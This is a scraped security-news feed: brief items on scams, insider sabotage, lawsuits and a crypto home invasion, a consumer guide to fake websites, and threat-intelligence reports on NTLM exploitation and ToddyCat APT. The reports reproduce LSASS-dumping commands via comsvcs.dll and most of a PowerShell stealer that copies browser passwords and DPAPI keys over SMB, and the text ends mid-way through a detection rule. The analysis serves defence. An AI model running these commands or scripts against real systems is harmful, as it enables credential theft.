The BBB warns of a rising ghost-tap scam exploiting tap-to-pay cards and mobile wallets. How attackers use NFC proximity tricks.
The post Ghost-Tap Scam Makes Payments Scarier appeared first on Security Boulevard.
Two sibling contractors convicted a decade ago for hacking into US State Department systems have once again been charged, this time for a comically hamfisted attempt to steal and destroy government records just minutes after being fired from their contractor jobs.
The Department of Justice on Thursday said that Muneeb Akhter and Sohaib Akhter, both 34, of Alexandria, Virginia, deleted databases and documents maintained and belonging to three government agencies. The brothers were federal contractors working for an undisclosed company in Washington, DC, that provides software and services to 45 US agencies. Prosecutors said the men coordinated the crimes and began carrying them out just minutes after being fired.
On February 18 at roughly 4:55 pm, the men were fired from the company, according to an indictment unsealed on Thursday. Five minutes later, they allegedly began trying to access their employer’s system and access federal government databases. By then, access to one of the brothers’ accounts had already been terminated. The other brother, however, allegedly accessed a government agency’s database stored on the employer’s server and issued commands to prevent other users from connecting or making changes to the database. Then, prosecutors said, he issued a command to delete 96 databases, many of which contained sensitive investigative files and records related to Freedom of Information Act matters.
© Getty Images
Unfortunately in today’s world, scammers are coming at us from all angles to trick us to get us to part with our hard-earned money. We all need to be vigilant in protecting ourselves online. If you aren’t paying attention, even if you know what to look for, they can get you. There are numerous ways to detect fake sites or emails, phishing, and other scams.
Before we delve into the signs of fake websites, we will first take a closer look at the common types of scam that use websites, what happens when you accidentally access a fake website, and what you can do in case you unknowingly purchased items from it.
Fake or scam websites are fraudulent sites that look legitimate while secretly attempting to steal your personal information, money, or account access.
These deceptive platforms masquerade as trustworthy businesses or organizations, sending urgent messages such as popular shopping websites offering fantastic limited-time deals, banking websites requesting immediate account verification, government portals claiming you owe taxes or are eligible for refunds, and shipping companies asking for delivery fees.
The urgency aims to trick you into logging in and sharing sensitive details—credit card numbers, Social Security information, login credentials, and personal data. Once you submit your data, the scammers will steal your identity, drain your accounts, or sell your details to other criminals on the dark web.
These scam websites have become increasingly prevalent because they’re relatively inexpensive to create and can reach millions of potential victims quickly through email and text campaigns, social media ads, and search engine manipulation.
Cybersecurity researchers and consumer protection agencies discover these fraudulent sites through various methods, including monitoring suspicious domain registrations, analyzing reported phishing attempts, and tracking unusual web traffic patterns. According to the FBI’s Internet Crime Complaint Center, losses from cyber-enabled fraud amounted to $13.7 billion, with fake websites representing a significant portion of these losses.
Visiting a fake website, accidentally or intentionally, can expose you to several serious security risks that can impact your digital life and financial well-being:
Scammers use different tricks to make fake websites look real, but most of them fall into familiar patterns. Knowing the main types of scam sites helps you recognize danger faster. This section lists the most common categories of scam websites, how they work, and the red flags that give them away before they can steal your information or money.
Understanding these common scam types helps you recognize fake sites before they can steal your information or money. When in doubt, verify legitimacy by visiting official websites directly through bookmarks or search engines rather than clicking suspicious links.
For the latest warnings and protection guidance, check resources from the Federal Trade Commission and the FBI’s Internet Crime Complaint Center.
You can protect yourself by learning to recognize the warning signs of fake sites. By understanding what these scams look like and how they operate, you’ll be better equipped to shop, bank, and browse online with confidence. Remember, legitimate companies will never pressure you to provide sensitive information through unsolicited emails or urgent pop-up messages.
Most scams usually start out from social engineering tactics such as phishing, smishing, and fake social media messages with suspicious links, before leading you to a fake website.
From these communications, the scammers impersonate legitimate organizations before finally executing their malevolent intentions. To avoid being tricked, it is essential to recognize the warning signs wherever you encounter them.
Fake emails are among the most common phishing attempts you’ll encounter. If you see any of these signs in an unsolicited email, it is best not to engage:
Smishing messages bear the same signs as phishing emails and have become increasingly sophisticated. These fake messages often appear to come from delivery services, banks, or government agencies. Common tactics include fake package delivery notifications, urgent banking alerts, or messages claiming you’ve won prizes or need to verify account information.
Legitimate organizations typically don’t include clickable links in unsolicited text messages, especially for account-related actions. When in doubt, don’t click the link—instead, open your banking app directly or visit the official website by typing the URL manually.
Social media platforms give scammers new opportunities to create convincing fake profiles and pages. They might impersonate customer service accounts, create fake giveaways, or send direct messages requesting personal information. These fake sites often use profile pictures and branding that closely resemble legitimate companies.
Unusual sender behavior is another indicator of a scam across all platforms. This includes messages from contacts you haven’t heard from in years, communications from brands you don’t typically interact with, or requests that seem out of character for the supposed sender.
Scammers have become increasingly cunning in creating fake websites that closely mimic legitimate businesses and services. Here are some real-life examples of how cybercriminals use fake websites to victimize consumers:
Scammers exploit your trust in the United States Postal Service (USPS), designing sophisticated fake websites to steal your personal information, payment details, or money. They know you’re expecting a package or need to resolve a delivery issue, making you more likely to enter sensitive information without carefully verifying the site’s authenticity.
USPS-themed smishing attacks arrive as text messages stating your package is delayed, undeliverable, or requires immediate action. Common phrases include “Pay $1.99 to reschedule delivery” or “Your package is held – click here to release.”
Scammers use various URL manipulation techniques to make their fake sites appear official. Watch for these red flags:
Always verify package information and delivery issues through official USPS channels before taking any action on suspicious websites or messages:
Reporting fake USPS websites helps protect others from falling victim to these scams and assists law enforcement in tracking down perpetrators.
Remember that legitimate USPS services are free for standard delivery confirmation and tracking. Any website demanding payment for basic package tracking or delivery should be treated as suspicious and verified through official USPS channels before providing any personal or financial information.
According to the Federal Trade Commission, tech support scams cost Americans nearly $1.5 billion in 2024. These types of social engineering attacks are increasingly becoming sophisticated, making it more important than ever to verify security alerts through official channels.
Sadly, many scammers are misusing the McAfee name to create fake tech support pop-up scams and trick you into believing your computer is infected or your protection has expired and hoping you’ll act without thinking.
These pop-ups typically appear while you’re browsing and claim your computer is severely infected with viruses, malware, or other threats. They use official-looking McAfee logos, colors, and messaging to appear legitimate to get you to call a fake support number, download malicious software, or pay for unnecessary services.
Learning to detect fake sites and pop-ups protects you from scam. Be on the lookout for these warning signs:
If you see a suspicious pop-up claiming to be from McAfee, here’s exactly what you should do:
To check if your McAfee protection is genuinely active and up-to-date:
Remember, legitimate McAfee software updates and notifications come through the installed program itself, not through random browser pop-ups. Your actual McAfee protection works quietly in the background without bombarding you with alarming messages.
Stay protected by trusting your installed McAfee software and always verifying security alerts through official McAfee channels such as your installed McAfee dashboard or the official website.
Be prepared and know how to respond quickly when something doesn’t feel right. If you suspect you’ve encountered a fake website, trust your instincts and take these protective steps immediately.
Recognizing fake sites and emails becomes easier with practice. The key is to trust your instincts—if something feels suspicious or too good to be true, take a moment to verify through official channels. With the simple verification techniques covered in this guide, you can confidently navigate the digital world and spot fake sites and emails before they cause harm.
Your best defense is to make these quick security checks a regular habit—verify URLs, look for secure connections, and trust your instincts when something feels off. Go directly to the source or bookmark your most-used services and always navigate to them. Enable two-factor authentication on important accounts, and remember that legitimate companies will never ask for sensitive information via email. Maintaining healthy skepticism about unsolicited communications will protect not only your personal information but also help create a safer online environment for everyone.
For the latest information on fake websites and scams and to report them, visit the Federal Trade Commission’s scam alerts or the FBI’s Internet Crime Complaint Center.
The post Ways to Tell if a Website Is Fake appeared first on McAfee Blog.
Arizona is the latest state to sue Temu and its parent company PDD Holdings over allegations that the Chinese online retailer is stealing customers’ data.
The post Arizona Attorney General Sues Chinese Online Retailer Temu Over Data Theft Claims appeared first on SecurityWeek.
The FBI says that account takeover scams this year have resulted in 5,100-plus complaints in the U.S. and $262 million in money stolen, and Bitdefender says the combination of the growing number of ATO incidents and risky consumer behavior is creating an increasingly dangerous environment that will let such fraud expand.
The post FBI: Account Takeover Scammers Stole $262 Million this Year appeared first on Security Boulevard.
Cybercriminals impersonating financial institutions have targeted individuals, businesses, and organizations of different sizes.
The post Account Takeover Fraud Caused $262 Million in Losses in 2025: FBI appeared first on SecurityWeek.
Flip phones grew popular, Windows XP debuted on personal computers, Apple introduced the iPod, peer-to-peer file sharing via torrents was taking off, and MSN Messenger dominated online chat. That was the tech scene in 2001, the same year when Sir Dystic of Cult of the Dead Cow published SMBRelay, a proof-of-concept that brought NTLM relay attacks out of theory and into practice, demonstrating a powerful new class of authentication relay exploits.
Ever since that distant 2001, the weaknesses of the NTLM authentication protocol have been clearly exposed. In the years that followed, new vulnerabilities and increasingly sophisticated attack methods continued to shape the security landscape. Microsoft took up the challenge, introducing mitigations and gradually developing NTLM’s successor, Kerberos. Yet more than two decades later, NTLM remains embedded in modern operating systems, lingering across enterprise networks, legacy applications, and internal infrastructures that still rely on its outdated mechanisms for authentication.
Although Microsoft has announced its intention to retire NTLM, the protocol remains present, leaving an open door for attackers who keep exploiting both long-standing and newly discovered flaws.
In this blog post, we take a closer look at the growing number of NTLM-related vulnerabilities uncovered over the past year, as well as the cybercriminal campaigns that have actively weaponized them across different regions of the world.
NTLM (New Technology LAN Manager) is a suite of security protocols offered by Microsoft and intended to provide authentication, integrity, and confidentiality to users.
In terms of authentication, NTLM is a challenge-response-based protocol used in Windows environments to authenticate clients and servers. Such protocols depend on a shared secret, typically the client’s password, to verify identity. NTLM is integrated into several application protocols, including HTTP, MSSQL, SMB, and SMTP, where user authentication is required. It employs a three-way handshake between the client and server to complete the authentication process. In some instances, a fourth message is added to ensure data integrity.
The full authentication process appears as follows:
Importantly, the client’s secret never travels across the network during this process.
Despite being a legacy protocol with well-documented weaknesses, NTLM continues to be used in Windows systems and hence actively exploited in modern threat campaigns. Microsoft has announced plans to phase out NTLM authentication entirely, with its deprecation slated to begin with Windows 11 24H2 and Windows Server 2025 (1, 2, 3), where NTLMv1 is removed completely, and NTLMv2 disabled by default in certain scenarios. Despite at least three major public notices since 2022 and increased documentation and migration guidance, the protocol persists, often due to compatibility requirements, legacy applications, or misconfigurations in hybrid infrastructures.
As recent disclosures show, attackers continue to find creative ways to leverage NTLM in relay and spoofing attacks, including new vulnerabilities. Moreover, they introduce alternative attack vectors inherent to the protocol, which will be further explored in the post, specifically in the context of automatic downloads and malware execution via WebDAV following NTLM authentication attempts.
NTLM presents a broad threat landscape, with multiple attack vectors stemming from its inherent design limitations. These include credential forwarding, coercion-based attacks, hash interception, and various man-in-the-middle techniques, all of them exploiting the protocol’s lack of modern safeguards such as channel binding and mutual authentication. Prior to examining the current exploitation campaigns, it is essential to review the primary attack techniques involved.
Hash leakage refers to the unintended exposure of NTLM authentication hashes, typically caused by crafted files, malicious network paths, or phishing techniques. This is a passive technique that doesn’t require any attacker actions on the target system. A common scenario involving this attack vector starts with a phishing attempt that includes (or links to) a file designed to exploit native Windows behaviors. These behaviors automatically initiate NTLM authentication toward resources controlled by the attacker. Leakage often occurs through minimal user interaction, such as previewing a file, clicking on a remote link, or accessing a shared network resource. Once attackers have the hashes, they can reuse them in a credential forwarding attack.
In coercion-based attacks, the attacker actively forces the target system to authenticate to an attacker-controlled service. No user interaction is needed for this type of attack. For example, tools like PetitPotam or PrinterBug are commonly used to trigger authentication attempts over protocols such as MS-EFSRPC or MS-RPRN. Once the victim system begins the NTLM handshake, the attacker can intercept the authentication hash or relay it to a separate target, effectively impersonating the victim on another system. The latter case is especially impactful, allowing immediate access to file shares, remote management interfaces, or even Active Directory Certificate Services, where attackers can request valid authentication certificates.
Credential forwarding refers to the unauthorized reuse of previously captured NTLM authentication tokens, typically hashes, to impersonate a user on a different system or service. In environments where NTLM authentication is still enabled, attackers can leverage previously obtained credentials (via hash leakage or coercion-based attacks) without cracking passwords. This is commonly executed through Pass-the-Hash (PtH) or token impersonation techniques. In networks where NTLM is still in use, especially in conjunction with misconfigured single sign-on (SSO) or inter-domain trust relationships, credential forwarding may provide extensive access across multiple systems.
This technique is often used to facilitate lateral movement and privilege escalation, particularly when high-privilege credentials are exposed. Tools like Mimikatz allow extraction and injection of NTLM hashes directly into memory, while Impacket’s wmiexec.py, PsExec.py, and secretsdump.py can be used to perform remote execution or credential extraction using forwarded hashes.
An attacker positioned between a client and a server can intercept, relay, or manipulate authentication traffic to capture NTLM hashes or inject malicious payloads during the session negotiation. In environments where safeguards such as digital signing or channel binding tokens are missing, these attacks are not only possible but frequently easy to execute.
Among MitM attacks, NTLM relay remains the most enduring and impactful method, so much so that it has remained relevant for over two decades. Originally demonstrated in 2001 through the SMBRelay tool by Sir Dystic (member of Cult of the Dead Cow), NTLM relay continues to be actively used to compromise Active Directory environments in real-world scenarios. Commonly used tools include Responder, Impacket’s NTLMRelayX, and Inveigh. When NTLM relay occurs within the same machine from which the hash was obtained, it is also referred to as NTLM reflexion attack.
Over the past year, multiple vulnerabilities have been identified in Windows environments where NTLM remains enabled implicitly. This section highlights the most relevant CVEs reported throughout the year, along with key attack vectors observed in real-world campaigns.
CVE-2024‑43451 is a vulnerability in Microsoft Windows that enables the leakage of NTLMv2 password hashes with minimal or no user interaction, potentially resulting in credential compromise.
The vulnerability exists thanks to the continued presence of the MSHTML engine, a legacy component originally developed for Internet Explorer. Although Internet Explorer has been officially deprecated, MSHTML remains embedded in modern Windows systems for backward compatibility, particularly with applications and interfaces that still rely on its rendering or link-handling capabilities. This dependency allows .url files to silently invoke NTLM authentication processes through crafted links without necessarily being open. While directly opening the malicious .url file reliably triggers the exploit, the vulnerability may also be activated through alternative user actions such as right clicking, deleting, single-clicking, or just moving the file to a different folder.
Attackers can exploit this flaw by initiating NTLM authentication over SMB to a remote server they control (specifying a URL in UNC path format), thereby capturing the user’s hash. By obtaining the NTLMv2 hash, an attacker can execute a pass-the-hash attack (e.g. by using tools like WMIExec or PSExec) to gain network access by impersonating a valid user, without the need to know the user’s actual credentials.
A particular case of this vulnerability occurs when attackers use WebDAV servers, a set of extensions to the HTTP protocol, which enables collaboration on files hosted on web servers. In this case, a minimal interaction with the malicious file, such as a single click or a right click, triggers automatic connection to the server, file download, and execution. The attackers use this flaw to deliver malware or other payloads to the target system. They also may combine this with hash leaking, for example, by installing a malicious tool on the victim system and using the captured hashes to perform lateral movement through that tool.
The vulnerability was addressed by Microsoft in its November 2024 security updates. In patched environments, motion, deletion, right-clicking the crafted .url file, etc. won’t trigger a connection to a malicious server. However, when the user opens the exploit, it will still work.
After the disclosure, the number of attacks exploiting the vulnerability grew exponentially. By July this year, we had detected around 600 suspicious .url files that contain the necessary characteristics for the exploitation of the vulnerability and could represent a potential threat.
BlindEagle is an APT threat actor targeting Latin American entities, which is known for their versatile campaigns that mix espionage and financial attacks. In late November 2024, the group started a new attack targeting Colombian entities, using the Windows vulnerability CVE-2024-43451 to distribute Remcos RAT. BlindEagle created .url files as a novel initial dropper. These files were delivered through phishing emails impersonating Colombian government and judicial entities and using alleged legal issues as a lure. Once the recipients were convinced to download the malicious file, simply interacting with it would trigger a request to a WebDAV server controlled by the attackers, from which a modified version of Remcos RAT was downloaded and executed. This version contained a module dedicated to stealing cryptocurrency wallet credentials.
The attackers executed the malware automatically by specifying port 80 in the UNC path. This allowed the connection to be made directly using the WebDAV protocol over HTTP, thereby bypassing an SMB connection. This type of connection also leaks NTLM hashes. However, we haven’t seen any subsequent usage of these hashes.
Following this campaign and throughout 2025, the group persisted in launching multiple attacks using the same initial attack vector (.url files) and continued to distribute Remcos RAT.
We detected more than 60 .url files used as initial droppers in BlindEagle campaigns. These were sent in emails impersonating Colombian judicial authorities. All of them communicated via WebDAV with servers controlled by the group and initiated the attack chain that used ShadowLadder or Smoke Loader to finally load Remcos RAT in memory.
Another attack detected after the Microsoft disclosure involves the hacktivist group Head Mare. This group is known for perpetrating attacks against Russian and Belarusian targets.
In past campaigns, Head Mare exploited various vulnerabilities as part of its techniques to gain initial access to its victims’ infrastructure. This time, they used CVE 2024-43451. The group distributed a ZIP file via phishing emails under the name “Договор на предоставление услуг №2024-34291” (“Service Agreement No. 2024-34291”). This had a .url file named “Сопроводительное письмо.docx” (translated as “Cover letter.docx”).
The .url file connected to a remote SMB server controlled by the group under the domain:
document-file[.]ru/files/documents/zakupki/MicrosoftWord.exe
The domain resolved to the IP address 45.87.246.40 belonging to the ASN 212165, used by the group in the campaigns previously reported by our team.
According to our telemetry data, the ZIP file was distributed to more than a hundred users, 50% of whom belong to the manufacturing sector, 35% to education and science, and 5% to government entities, among other sectors. Some of the targets interacted with the .url file.
To achieve their goals at the targeted companies, Head Mare used a number of publicly available tools, including open-source software, to perform lateral movement and privilege escalation, forwarding the leaked hashes. Among these tools detected in previous attacks are Mimikatz, Secretsdump, WMIExec, and SMBExec, with the last three being part of the Impacket suite tool.
In this campaign, we detected attempts to exploit the vulnerability CVE-2023-38831 in WinRAR, used as an initial access in a campaign that we had reported previously, and in two others, we found attempts to use tools related to Impacket and SMBMap.
The attack, in addition to collecting NTLM hashes, involved the distribution of the PhantomCore malware, part of the group’s arsenal.
CVE-2025-24071 and CVE-2025-24054, initially registered as two different vulnerabilities, but later consolidated under the second CVE, is an NTLM hash leak vulnerability affecting multiple Windows versions, including Windows 11 and Windows Server. The vulnerability is primarily exploited through specially crafted files, such as .library-ms files, which cause the system to initiate NTLM authentication requests to attacker-controlled servers.
This exploitation is similar to CVE-2024-43451 and requires little to no user interaction (such as previewing a file), enabling attackers to capture NTLMv2 hashes and gain unauthorized access or escalate privileges within the network. The most common and widespread exploitation of this vulnerability occurs with .library-ms files inside ZIP/RAR archives, as it is easy to trick users into opening or previewing them. In most incidents we observed, the attackers used ZIP archives as the distribution vector.
In Russia, we identified a campaign distributing malicious ZIP archives with the subject line “акт_выполненных_работ_апрель” (certificate of work completed April). These files inside the archives masqueraded as .xls spreadsheets but were in fact .library-ms files that automatically initiated a connection to servers controlled by the attackers. The malicious files contained the same embedded server IP address 185.227.82.72.
When the vulnerability was exploited, the file automatically connected to that server, which also hosted versions of the AveMaria Trojan (also known as Warzone) for distribution. AveMaria is a remote access Trojan (RAT) that gives attackers remote control to execute commands, exfiltrate files, perform keylogging, and maintain persistence.
CVE-2025-33073 is a high-severity NTLM reflection vulnerability in the Windows SMB client’s access control. An authenticated attacker within the network can manipulate SMB authentication, particularly via local relay, to coerce a victim’s system into authenticating back to itself as SYSTEM. This allows the attacker to escalate privileges and execute code at the highest level.
The vulnerability relies on a flaw in how Windows determines whether a connection is local or remote. By crafting a specific DNS hostname that partially overlaps with the machine’s own name, an attacker can trick the system into believing the authentication request originates from the same host. When this happens, Windows switches into a “local authentication” mode, which bypasses the normal NTLM challenge-response exchange and directly injects the user’s token into the host’s security subsystem. If the attacker has coerced the victim into connecting to the crafted hostname, the token provided is essentially the machine’s own, granting the attacker privileged access on the host itself.
This behavior emerges because the NTLM protocol sets a special flag and context ID whenever it assumes the client and server are the same entity. The attacker’s manipulation causes the operating system to treat an external request as internal, so the injected token is handled as if it were trusted. This self-reflection opens the door for the adversary to act with SYSTEM-level privileges on the target machine.
We have detected suspicious activity exploiting the vulnerability on a target belonging to the financial sector in Uzbekistan.
We have obtained a traffic dump related to this activity, and identified multiple strings within this dump that correspond to fragments related to NTLM authentication over SMB. The dump contains authentication negotiations showing SMB dialects, NTLMSSP messages, hostnames, and domains. In particular, the indicators:
The incident began with exploitation of the NTLM reflection vulnerability. The attacker used a crafted DNS record to coerce the host into authenticating against itself and obtain a SYSTEM token. After that, the attacker checked whether they had sufficient privileges to execute code using batch files that ran simple commands such as whoami:
%COMSPEC% /Q /c echo whoami ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
Persistence was then established by creating a suspicious service entry in the registry under:
reg:\\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\YlHXQbXO
With SYSTEM privileges, the attacker attempted several methods to dump LSASS (Local Security Authority Subsystem Service) memory:
LoginC:\Windows\system32\cmd.exe /Q /c CMD.exe /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000^24 ^%B \Windows\Temp\vdpk2Y.sav full
The command locates the lsass.exe process, which holds credentials in memory, extracts its PID, and invokes an internal function of comsvcs.dll to dump LSASS memory and save it. This technique is commonly used in post-exploitation (e.g., Mimikatz or other “living off the land” tools).C:\Windows\system32\cmd.exe /Q /c cMd.exE /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tAsKLISt /fi "Imagename eq lSAss.ex*" | find "lsass""') do rundll32.exe C:\Windows\Temp\BDjnNmiX.dll #+0000^24 ^%B \Windows\Temp\sFp3bL291.tar.log full
The command tries to dump the LSASS memory again, but this time using a custom DLL.Several minutes later, the attacker attempted lateral movement by writing to the administrative share of another host, but the attempt failed. We didn’t see any evidence of further activity.
As long as NTLM remains enabled, attackers can exploit vulnerabilities in legacy authentication methods. Disabling NTLM, or at the very least limiting its use to specific, critical systems, significantly reduces the attack surface. This change should be paired with strict auditing to identify any systems or applications still dependent on NTLM, helping ensure a secure and seamless transition.
NTLM works as an authentication layer over application protocols such as SMB, LDAP, and HTTP. Many of these protocols offer the ability to add signing to their communications. One of the most effective ways to mitigate NTLM relay attacks is by enabling SMB and LDAP signing. These security features ensure that all messages between the client and server are digitally signed, preventing attackers from tampering with or relaying authentication traffic. Without signing, NTLM credentials can be intercepted and reused by attackers to gain unauthorized access to network resources.
EPA ties NTLM authentication to the underlying TLS or SSL session, ensuring that captured credentials cannot be reused in unauthorized contexts. This added validation can be applied to services such as web servers and LDAP, significantly complicating the execution of NTLM relay attacks.
Regularly reviewing NTLM authentication logs can help identify abnormal patterns, such as unusual source IP addresses or an excessive number of authentication failures, which may indicate potential attacks. Using SIEM tools and network monitoring to track suspicious NTLM traffic enhances early threat detection and enables a faster response.
In 2025, NTLM remains deeply entrenched in Windows environments, continuing to offer cybercriminals opportunities to exploit its long-known weaknesses. While Microsoft has announced plans to phase it out, the protocol’s pervasive presence across legacy systems and enterprise networks keeps it relevant and vulnerable. Threat actors are actively leveraging newly disclosed flaws to refine credential relay attacks, escalate privileges, and move laterally within networks, underscoring that NTLM still represents a major security liability.
The surge of NTLM-focused incidents observed throughout 2025 illustrates the growing risks of depending on outdated authentication mechanisms. To mitigate these threats, organizations must accelerate deprecation efforts, enforce regular patching, and adopt more robust identity protection frameworks. Otherwise, NTLM will remain a convenient and recurring entry point for attackers.
The EU’s Cyber Resilience Act is reshaping global software security expectations, especially for SaaS, where shared responsibility, lifecycle security and strong identity protections are essential as attackers increasingly “log in” instead of breaking in.
The post The Cyber Resilience Act and SaaS: Why Compliance is Only Half the Battle appeared first on Security Boulevard.
Bitcoin Magazine
Bitcoin Crime: Home Invasion, Sexual Assault, and $1.6 Million Theft Results in 7-Year Sentence
A Hong Kong man has been sentenced to seven years in a Canadian prison for participating in a violent home invasion that left a British Columbia family tortured and robbed of $1.6 million in Bitcoin.
Tsz Wing Boaz Chan, 35, flew from Hong Kong to Vancouver in early 2024 to take part in the meticulously planned attack, which authorities say involved extreme violence, sexual assault, and psychological torture over a 13.5-hour ordeal.
On the evening of April 27, 2024, four men, two dressed in Canada Post uniforms, gained entry to the Port Moody home of the targeted family. The attackers restrained the husband, wife, and young daughter, threatening their lives and forcing the daughter to simulate sexual assault while under duress, according to CBC reporting.
The intruders also waterboarded the wife in front of her husband and beat him naked, threatening further violence if he did not provide access to his cryptocurrency accounts.
Court documents describe the attackers’ demands escalating from 200 bitcoin — worth roughly $26 million at the time — to 100 bitcoin, ultimately withdrawing about $1.6 million.
They carried out the crime after weeks of surveillance and planning, including planting cameras outside the family’s home. The attackers communicated through a man using a disguised voice over the phone, coordinating the assault and issuing threats.
The daughter escaped at around 8 a.m. the following morning and alerted authorities, ending the ordeal. Police later linked Chan to the crime through CCTV footage and DNA, although he had returned to Hong Kong prior to identification. He was arrested when he came back to Canada months later.
Judge Robin McQuillan called the crime “elaborately planned” and noted the profound emotional and financial consequences for the family. Victim impact statements highlighted the ongoing trauma: the daughter said she now feels unsafe at home, while the father described losing decades of savings intended to support his family and pay off multiple mortgages.
The family continues to struggle with the aftermath, including the psychological impact of nude videos and threats of social media exposure.
Chan, an out-of-work sailor and former waiter, reportedly received about $50,000 for his role in the heist and has been ordered to repay the amount. During sentencing, the judge observed that Chan was visibly distraught, noting his struggles with prison violence, back pain, and language barriers.
Accounting for time already served, he faces five more years in custody.
The attack is part of a broader trend known as “wrench attacks,” in which bitcoin and crypto holders and their families are targeted globally for ransom due to the irreversibility and high value of digital assets.
This post Bitcoin Crime: Home Invasion, Sexual Assault, and $1.6 Million Theft Results in 7-Year Sentence first appeared on Bitcoin Magazine and is written by Micah Zimmerman.
Email remains the main means of business correspondence at organizations. It can be set up either using on-premises infrastructure (for example, by deploying Microsoft Exchange Server) or through cloud mail services such as Microsoft 365 or Gmail. However, some organizations do not provide domain-level access to their cloud email. As a result, attackers who have compromised the domain do not automatically gain access to email correspondence and must resort to additional techniques to read it.
This research describes how ToddyCat APT evolved its methods to gain covert access to the business correspondence of employees at target companies. In the first part, we review the incidents that occurred in the second half of 2024 and early 2025. In the second part of the report, we focus in detail on how the attackers implemented a new attack vector as a result of their efforts. This attack enables the adversary to leverage the user’s browser to obtain OAuth 2.0 authorization tokens. These tokens can then be utilized outside the perimeter of the compromised infrastructure to access corporate email.
Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.
In a previous post on the ToddyCat group, we described the TomBerBil family of tools, which are designed to extract cookies and saved passwords from browsers on user hosts. These tools were written in C# and C++.
Yet, analysis of incidents from May to June 2024 revealed a new variant implemented in PowerShell. It retained the core malicious functionality of the previous samples but employed a different implementation approach and incorporated new commands.
A key feature of this version is that it was executed on domain controllers on behalf of a privileged user, accessing browser files via shared network resources using the SMB protocol.
Besides supporting the Chrome and Edge browsers, the new version also added processing for Firefox browser files.
The tool was launched using a scheduled task that executed the following command line:
powershell -exec bypass -command "c:\programdata\ip445.ps1"
The script begins by creating a new local directory, which is specified in the $baseDir variable. The tool saves all data it collects into this directory.
$baseDir = 'c:\programdata\temp\'
try{
New-Item -ItemType directory -Path $baseDir | Out-Null
}catch{
}
The script defines a function named parseFile, which accepts the full file path as a parameter. It opens the C:\programdata\uhosts.txt file and reads its content line by line using .NET Framework classes, returning the result as a string array. This is how the script forms an array of host names.
function parseFile{
param(
[string]$fileName
)
$fileReader=[System.IO.File]::OpenText($fileName)
while(($line = $fileReader.ReadLine()) -ne $null){
try{
$line.trim()
}
catch{
}
}
$fileReader.close()
}
For each host in the array, the script attempts to establish an SMB connection to the shared resource c$, constructing the path in the \\\c$\users\ format. If the connection is successful, the tool retrieves a list of user directories present on the remote host. If at least one directory is found, a separate folder is created for that host within the $baseDir working directory:
foreach($myhost in parseFile('c:\programdata\uhosts.txt')){
$myhost=$myhost.TrimEnd()
$open=$false
$cpath = "\\{0}\c$\users\" -f $myhost
$items = @(get-childitem $cpath -Force -ErrorAction SilentlyContinue)
$lpath = $baseDir + $myhost
try{
New-Item -ItemType directory -Path $lpath | Out-Null
}catch{
}
In the next stage, the script iterates through the user folders discovered on the remote host, skipping any folders specified in the $filter_users variable, which is defined upon launching the tool. For the remaining folders, three directories are created in the script’s working folder for collecting data from Google Chrome, Mozilla Firefox, and Microsoft Edge.
$filter_users = @('public','all users','default','default user','desktop.ini','.net v4.5','.net v4.5 classic')
foreach($item in $items){
$username = $item.Name
if($filter_users -contains $username.tolower()){
continue
}
$upath = $lpath + '\' + $username
try{
New-Item -ItemType directory -Path $upath | Out-Null
New-Item -ItemType directory -Path ($upath + '\google') | Out-Null
New-Item -ItemType directory -Path ($upath + '\firefox') | Out-Null
New-Item -ItemType directory -Path ($upath + '\edge') | Out-Null
}catch{
}Next, the tool uses the default account to search for the following Chrome and Edge browser files on the remote host:
These files are copied via SMB to the local folder within the corresponding user and browser folder hierarchy. Below is a code snippet that copies the Login Data file:
$googlepath = $upath + '\google\'
$firefoxpath = $upath + '\firefox\'
$edgepath = $upath + '\edge\'
$loginDataPath = $item.FullName + "\AppData\Local\Google\Chrome\User Data\Default\Login Data"
if(test-path -path $loginDataPath){
$dstFileName = "{0}\{1}" -f $googlepath,'Login Data'
copy-item -Force -Path $loginDataPath -Destination $dstFileName | Out-Null
}
The same procedure is applied to Firefox files, with the tool additionally traversing through all the user profile folders of the browser. Instead of the files described above for Chrome and Edge, the script searches for files which have names from the $firefox_files array that contain similar information. The requested files are also copied to the tool’s local folder.
$firefox_files = @('key3.db','signons.sqlite','key4.db','logins.json')
$firefoxBase = $item.FullName + '\AppData\Roaming\Mozilla\Firefox\Profiles'
if(test-path -path $firefoxBase){
$profiles = @(get-childitem $firefoxBase -Force -ErrorAction SilentlyContinue)
foreach($profile in $profiles){
if(!(test-path -path ($firefoxpath + '\' + $profile.Name))){
New-Item -ItemType directory -Path ($firefoxpath + '\' + $profile.Name) | Out-Null
}
foreach($firefox_file in $firefox_files){
$tmpPath = $firefoxBase + '\' + $profile.Name + '\' + $firefox_file
if(test-path -Path $tmpPath){
$dstFileName = "{0}\{1}\{2}" -f $firefoxpath,$profile.Name,$firefox_file
copy-item -Force -Path $tmpPath -Destination $dstFileName | Out-Null
}
}
}
}The copied files are encrypted using the Data Protection API (DPAPI). The previous version of TomBerBil ran on the host and copied the user’s token. As a result, in the user’s current session DPAPI was used to decrypt the master key, and subsequently, the files. The updated server-side version of TomBerBil copies files containing the user encryption keys that are used by DPAPI. These keys, combined with the user’s SID and password, grant the attackers the ability to decrypt all the copied files locally.
if(test-path -path ($item.FullName + '\AppData\Roaming\Microsoft\Protect')){
copy-item -Recurse -Force -Path ($item.FullName + '\AppData\Roaming\Microsoft\Protect') -Destination ($upath + '\') | Out-Null
}
if(test-path -path ($item.FullName + '\AppData\Local\Microsoft\Credentials')){
copy-item -Recurse -Force -Path ($item.FullName + '\AppData\Local\Microsoft\Credentials') -Destination ($upath + '\') | Out-Null
}With TomBerBil, the attackers automatically collected user cookies, browsing history, and saved passwords, while simultaneously copying the encryption keys needed to decrypt the browser files. The connection to the victim’s remote hosts was established via the SMB protocol, which significantly complicated the detection of the tool’s activity.
TomBerBil in PowerShell
As a rule, such tools are deployed at later stages, after the adversary has established persistence within the organization’s internal infrastructure and obtained privileged access.
To detect the implementation of this attack, it’s necessary to set up auditing for access to browser folders and to monitor network protocol connection attempts to those folders.
title: Access To Sensitive Browser Files Via Smb
id: 9ac86f68-9c01-4c9d-897a-4709256c4c7b
status: experimental
